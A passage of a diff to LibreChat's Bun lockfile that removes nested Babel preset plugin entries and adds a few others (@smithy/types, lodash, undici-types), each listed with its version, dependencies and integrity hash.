- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NREkZsZVJS4xmTr8qzE5y8AfIPqsdQfRuUiLRTEzb7Qii8iFWCyDKaUV2c0rCuh4ljDZ98ALHP/PetiBV2nddA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cnqkuOtZLapWYZUYM5rVIdv1nXYuFVIltZ6ZJ7nIj585QsjKM5dhL2Fu/lICXZ1OyIAFc7Qy+bvDAtTXqGrlhg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-45DmULpySVvmq9Pj3X9B+62Xe+DJGov27QravQJU1LLcapR6/10i+gYVAucGGJpHBp5mYxIMK4nDAT/QDLr47g=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.28.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-LtPXlBbRoc4Njl/oh1CeD/3jC+atytbnf/UqLoqTDcEYGUPj022+rvfkbDYieUrSj3CaV4yHDByPE+T2HwfsJg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.28.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-globals": "^7.28.0", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cFOlhIYPBv/iBoc+KS3M6et2XPtbT2HiCRfBXWtfpc9OAyostldxIf9YAYB6ypURBBbx+Qv6nyrLzASfJe+hBA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/template": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lj9PGWvMTVksbWiDT2tW68zGS/cyo4AkZ/QTp0sQT0mjPopCmrSkzxeXkznjqBxzDI6TclZhOJbBmbBLjuOZUw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kl9Bc6D0zTUcFUvkNuQh4eGXPKKNDOJQXVyyM4ZAQPMveniJdxi8XMJwLo+xSoW3MIq81bD33lcUe9kZpl0MCw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-gEbkDVGRvjj7+T1ivxrfgygpT7GUd4vmODtYpbs0gZATdkX8/iSnOtZSxiZnsgm1YjTgjI6VKBGSJJevkrclzw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MTyJk98sHvSs+cvZ4nOauwTTG1JeonDjSGvGGUNHreGQns+Mpt6WX/dVzWBHgg+dYZhkC4X+zTDfkTU+Vy9y7Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex": ["@babel/plugin-transform-duplicate-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-hkGcueTEzuhB30B3eJCbCYeCaaEQOmQR0AdvzpD4LoN0GXMWzzGSuRrxR2xTnCrvNbVwK9N6/jQ92GSLfiZWoQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MHzkWQcEmjzzVW9j2q8LGjwGWpG2mjwaaB0BNQwst3FIjqsg8Ct/mIZlvSPJvfi9y2AC8mi/ktxbFVL9pZ1I4A=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D4WIMaFtwa2NizOp+dnoFjRez/ClKiC2BqqImwKd1X28nqBtZEyCYJ2ozQrrzlxAFrcrjxo39S6khe9RNDlGzw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-tQvHWSZ3/jH2xuq/vZDy0jNn+ZdXJeM8gHvX4lnJmsc3+50yPlWdZXIc5ay+umX+2/tJIqHqiEqcJvxlmIvRvQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BfbWFFEJFQzLCQ5N8VocnCtA8J1CLkNTe2Ms2wocj75dd6VpiqS5Z5quTYcUoo4Yq+DN0rtikODccuv7RU81sw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.27.1", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-1bQeydJF9Nr1eBCMMbC+hdwmRlsv5XYOMu03YSWFwNs0HsAmtSxxF1fyuYPqemVldVyFmlCU7w8UE14LupUSZQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6WVLVJiTjqcQauBhn1LkICsR2H+zm62I3h9faTDKt1qP4jn2o72tSvqMwtGFKGTpojce0gJs+76eZ2uCHRZh0Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-0HCFSepIpLTkLcsi86GG3mTUzxV5jpmbv97hTETW3yzrAij8aqlD36toB1D0daVFJM8NK6GvKO0gslVQmm+zZA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-axUuqnUTBuXyHGcJEVVh9pORaN6wC5bYfE7FGzPiaWa3syib9m7g+/IT/4VgCOe2Upef43PHzeAvcrVek6QuuA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-hqoBX4dcZ1I33jCSWcXrP+1Ku7kdqXf1oeah7ooKOIiAdKQ+uqftgCFNOSzA5AMS2XIHEYeGFg4cKRCdpxzVOQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iCsytMg/N9/oFq6n+gFTvUYDZQOMK5kEdeYxmxt91fcJGycfxVP9CnrxoliM0oumFERba2i8ZtwRUCMhvP1LnA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.28.5", "", { "dependencies": { "@babel/helper-module-transforms": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vn5Jma98LCOeBy/KpeQhXcV2WZgaRUtjwQmjoBuLNlOmkg0fB5pdvYVeWRYI69wWKwK2cD1QbMiUQnoujWvrew=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iQBE/xC5BV1OxJbp6WG7jq9IWiD+xxlZhLrdwpPkTX3ydmXdvoCpyfJN7acaIBZaOqTfr76pgzqBJflNbeRK+w=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-SstR5JYy8ddZvD6MhV0tM/j16Qds4mIpJTOd1Yu9J9pJjH93bxHECF7pgtc28XvkzTD6Pxcm/0Z73Hvk7kb3Ng=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-f6PiYeqXQ05lYq3TIfIDu/MtliKUbNwkGApPUvyo6+tc7uaR4cPjPe7DFPr15Uyycg2lZU6btZ575CuQoYh7MQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fdPKAcujuvEChxDBJ5c+0BTaS6revLV7CJL08e4m3de8qJfNIuCc2nc7XJYOjBoTMJeqSmwXJ0ypE14RCjLwaw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.28.4", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.0", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-373KA2HQzKhQCYiRVIRr+3MjpCObqzDlyrM6u4I201wL8Mp2wHf7uB8GhDwis03k2ti8Zr65Zyyqs1xOxUF/Ew=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-SFy8S9plRPbIcxlJ8A6mT/CxFdJx/c04JEctz4jf8YZaVS2px34j7NXRrlGlHkN/M2gnpL37ZpGRGVFLd3l8Ng=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-txEAEKzYrHEX4xSZN4kJ+OfKXFVSWKB2ZxM9dpcE3wT7smwkNmXo5ORRlVzMVdJbD+Q8ILTgSD7959uj+3Dm3Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N6fut9IZlPnjPwgiQkXNhb+cT8wQKFlJNqcZkWlcTqkcqx6/kU4ynGmLFoa4LViBSirn05YAwk+sQBbPfxtYzQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.27.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qBkYTYCb76RRxUM6CcZA5KRu8K4SM8ajzVeUgVdMVO9NN9uI/GaVmBg/WKJJGnNokV9SY8FxNOVWGXzqzUidBg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5J+IhqTi1XPa0DXF83jYOaARrX+41gOewWbkPyjMNRDqgOCqdffGh8L3f/Ek5utaEBZExjSAzcyjmV9SSAWObQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oThy3BCuCha8kDZ8ZkgOg2exvPYUlprMukKQXI1r1pJ47NCvxfkEy8vK+r/hT9nF0Aa4H1WUPZZjHTFtAhGfmQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.28.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+ZEdQlBoRg9m2NnzvEeLgtvBMO4tkFBw5SQIUgLICgTrumLoU7lr+Oghi6km2PFj+dbUt2u1oby2w3BDO9YQnA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers": ["@babel/plugin-transform-regexp-modifiers@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-TtEciroaiODtXvLZv4rmfMhkCv8jx3wgKpL68PuiPh2M4fvz5jhsA7697N1gMvkvr/JTF13DrFYyEbY9U7cVPA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-V2ABPHIJX4kC7HegLkYoDpfg9PVmuWy/i6vUM5eGK22bx4YVFD3M5F0QQnWQoDs6AGsUWTVOopBiMFQgHaSkVw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N/wH1vcn4oYawbJ13Y/FxcQrWk63jhfNa7jef0ih7PHSIHX2LB7GWE1rkPrOnka9kwMxb6hMl19p7lidA+EHmQ=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-kpb3HUqaILBJcRFVhFUs6Trdd4mkrzcGXss+6/mxUd273PfbWqSDHRzMT2234gIg2QYfAjvXLSquP1xECSg09Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lhInBO5bi/Kowe2/aLdBAawijx+q1pQzicSgnkB6dUPc1+RC8QmJHKf2OjvU+NZWitguJHEaEmbV6VWEouT58g=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fBJKiV7F2DxZUkg5EtHKXQdbsbURW3DZKQUWphDum0uRP6eHGGa/He9mc0mypL680pb+e/lDIthRohlv8NCHkg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-RiSILC+nRJM7FY5srIyc4/fGIwUhyDuuBSdWn4y6yT6gm652DpCHZjIipgn6B7MQ1ITOUnAKWixEUjQRIBIcLw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Ysg4v6AmF26k9vpfFuTZg8HRfVWzsh1kVfowA23y9j/Gu6dOuahdUVhkLqpObp3JIv27MLSii6noRnuKN8H0Mg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-uW20S39PnaTImxp39O5qFlHLS9LJEmANjMG7SxIhap8rCHqu0Ik+tLEPX5DKmHn6CsWQ7j3lix2tFOa5YtL12Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-xvINq24TRojDuyt6JGtHmkVkrfVV3FPT16uytxImLeBZqW3/H52yN+kM1MGuyPkIQxrzKwPHs5U/MP3qKyzkGw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-EtkOujbc4cgvb0mlpQefi4NTPBzhSIevblFevACNLUspmrALgmEBdL/XfnyyITfd8fKBZrZys92zOWcik7j9Tw=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.14", "", { "dependencies": { "@babel/compat-data": "^7.27.7", "@babel/helper-define-polyfill-provider": "^0.6.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-Co2Y9wX854ts6U8gAAPXfn0GmAyctHuK8n0Yhfjd6t30g7yvKjspvvOo9yG+z52PZRgFErt7Ka2pYnXCjLKEpg=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.13.0", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5", "core-js-compat": "^3.43.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A=="],
-
- "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.6.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-ISqQ2frbiNU9vIJkzg7dlPpznPZ4jOiUQ1uSmB0fEHeowtN3COYRsXr/xexn64NpU13P06jc/L5TgiJXOgrbEg=="],
-
- "@librechat/frontend/@babel/preset-env/core-js-compat": ["core-js-compat@3.47.0", "", { "dependencies": { "browserslist": "^4.28.0" } }, "sha512-IGfuznZ/n7Kp9+nypamBhvwdwLsW6KC8IOaURw2doAK5e98AG3acVLdh0woOnEqCfUtS+Vu882JE4k/DAm3ItQ=="],
-
- "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-display-name": ["@babel/plugin-transform-react-display-name@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D6Eujc2zMxKjfa4Zxl4GHMsmhKKZ9VpcqIchJLvwTxad9zWIYulwYItBovpDOoNLISpcZSXoDJ5gaGbQUDqViA=="],
-
- "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-jsx": ["@babel/plugin-transform-react-jsx@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/types": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-2KH4LWGSrJIkVf5tSiBFYuXDAoWRq2MMwgivCf+93dd0GQi8RXLjKA/0EvRnVV5G0hrHczsquXuD01L8s6dmBw=="],
-
- "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-jsx-development": ["@babel/plugin-transform-react-jsx-development@7.27.1", "", { "dependencies": { "@babel/plugin-transform-react-jsx": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ykDdF5yI4f1WrAolLqeF3hmYU12j9ntLQl/AOG1HAS21jxyg1Q0/J/tpREuYLfatGdGmXp/3yS0ZA76kOlVq9Q=="],
-
- "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-pure-annotations": ["@babel/plugin-transform-react-pure-annotations@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-JfuinvDOsD9FVMTHpzA/pBLisxpv1aSf+OIV8lgH3MuWrks19R27e6a6DipIg4aX1Zm9Wpb04p8wljfKrVSnPA=="],
-
- "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="],
-
- "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-create-class-features-plugin": "^7.28.5", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-x2Qa+v/CuEoX7Dr31iAfr0IhInrVOWZU/2vJMJ00FOR/2nM0BcBEclpaf9sWCDc+v5e9dMrhSH8/atq/kX7+bA=="],
+ "@librechat/backend/@smithy/node-http-handler/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
"@librechat/frontend/@react-spring/web/@react-spring/animated": ["@react-spring/animated@9.7.5", "", { "dependencies": { "@react-spring/shared": "~9.7.5", "@react-spring/types": "~9.7.5" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-Tqrwz7pIlsSDITzxoLS3n/v/YCUHQdOIKtOJf4yL6kYVSDTSmVK1LI1Q3M/uu2Sx4X3pIWF3xLUhlsA6SPNTNg=="],
@@ -7121,31 +7023,49 @@
"@librechat/frontend/@testing-library/jest-dom/dom-accessibility-api": ["dom-accessibility-api@0.5.16", "", {}, "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg=="],
+ "@librechat/frontend/@testing-library/jest-dom/lodash": ["lodash@4.17.21", "", {}, "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="],
+
+ "@librechat/frontend/@types/node/undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="],
+
"@librechat/frontend/framer-motion/motion-dom": ["motion-dom@11.18.1", "", { "dependencies": { "motion-utils": "^11.18.1" } }, "sha512-g76KvA001z+atjfxczdRtw/RXOM3OMSdd1f4DL77qCTF/+avrRJiawSG4yDibEQ215sr9kpinSlX2pCTJ9zbhw=="],
